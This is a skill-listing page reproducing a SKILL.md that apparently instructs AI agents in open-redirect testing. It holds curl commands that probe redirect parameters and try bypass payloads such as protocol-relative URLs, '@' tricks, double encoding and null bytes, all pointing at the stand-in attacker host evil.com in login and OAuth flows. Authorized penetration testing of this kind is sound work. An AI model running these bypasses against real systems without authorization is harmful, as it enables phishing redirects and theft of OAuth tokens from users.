Run any Skill in Manus with one click

open-redirect-testing

Stars94

Forks21

UpdatedMarch 22, 2026 at 18:45

Test for unvalidated redirects — URL parameters, login flows, OAuth callbacks that redirect to attacker-controlled domains

Installation

Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.

Run Skill in Manus

Source

NeoTheCapt

NeoTheCapt/RedteamAgent

View GitHub Repository View Creator Repositories

Download

Run Skill in Manus

Related occupationsSOC

Based on SOC occupation classification

Information Security AnalystsComputer and Mathematical Occupations·SOC 15-1212

SKILL.md

readonly

name	open-redirect-testing
description	Test for unvalidated redirects — URL parameters, login flows, OAuth callbacks that redirect to attacker-controlled domains
origin	RedteamOpencode

Open Redirect Testing

When to Activate

Any URL parameter containing a URL or path (redirect, url, next, return, returnTo, goto, dest, target, rurl, callback)
Login/logout flows with redirect after auth
OAuth/SSO callback URLs
Payment completion redirects
Email verification links

Methodology

1. Identify Redirect Parameters

# Common redirect parameter names
for param in redirect url next return returnTo goto dest target rurl callback continue redir forward ref; do
  code=$(run_tool curl -s -o /dev/null -w "%{http_code}" "http://target/?${param}=https://evil.com")
  [ "$code" = "302" ] || [ "$code" = "301" ] || [ "$code" = "303" ] && echo "  $param → $code (potential redirect)"
done

2. Test Redirect Bypass Techniques

TARGET="http://target/redirect?url="
# Direct external URL
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com"
# Protocol-relative
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}//evil.com"
# Backslash
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%5c"
# @ bypass (user@host)
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target@evil.com"
# Subdomain bypass
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target.evil.com"
# URL encoding
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%3A%2F%2Fevil.com"
# Double URL encoding
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%253A%252F%252Fevil.com"
# Null byte
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%00target.com"

3. Test in Authentication Flows

# Post-login redirect
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/login?redirect=https://evil.com"
# OAuth callback
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/oauth/callback?redirect_uri=https://evil.com"

What to Record

Redirect parameter name and endpoint
Which bypass technique worked
Whether it's an absolute redirect (to external domain) or relative only

More from this repository

same repository

business-logic-testing

NeoTheCapt/RedteamAgent

Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws

2026-05-0294

sensitive-data-detection

NeoTheCapt/RedteamAgent

Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts

2026-05-0294

sqli-testing

NeoTheCapt/RedteamAgent

Detect and exploit SQL injection vulnerabilities in web application parameters

2026-05-0194

auth-bypass

NeoTheCapt/RedteamAgent

Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses

2026-04-3094

xss-testing

NeoTheCapt/RedteamAgent

Detect and exploit cross-site scripting vulnerabilities in web applications

2026-04-3094

parameter-fuzzing

NeoTheCapt/RedteamAgent

Discover hidden parameters, test values, and identify input handling anomalies

2026-04-2994

Open Redirect Testing

When to Activate

Any URL parameter containing a URL or path (redirect, url, next, return, returnTo, goto, dest, target, rurl, callback)

OAuth/SSO callback URLs

Payment completion redirects

Email verification links

Methodology

1. Identify Redirect Parameters

# Common redirect parameter names for param in redirect url next return returnTo goto dest target rurl callback continue redir forward ref; do code=$(run_tool curl -s -o /dev/null -w "%{http_code}" "http://target/?${param}=https://evil.com") [ "$code" = "302" ] || [ "$code" = "301" ] || [ "$code" = "303" ] && echo " $param → $code (potential redirect)" done

2. Test Redirect Bypass Techniques

TARGET="http://target/redirect?url=" # Direct external URL run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com" # Protocol-relative run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}//evil.com" # Backslash run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%5c" # @ bypass (user@host) run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target@evil.com" # Subdomain bypass run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target.evil.com" # URL encoding run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%3A%2F%2Fevil.com" # Double URL encoding run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%253A%252F%252Fevil.com" # Null byte run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%00target.com"

3. Test in Authentication Flows

# Post-login redirect run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/login?redirect=https://evil.com" # OAuth callback run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/oauth/callback?redirect_uri=https://evil.com"

What to Record

Redirect parameter name and endpoint

Which bypass technique worked

Whether it's an absolute redirect (to external domain) or relative only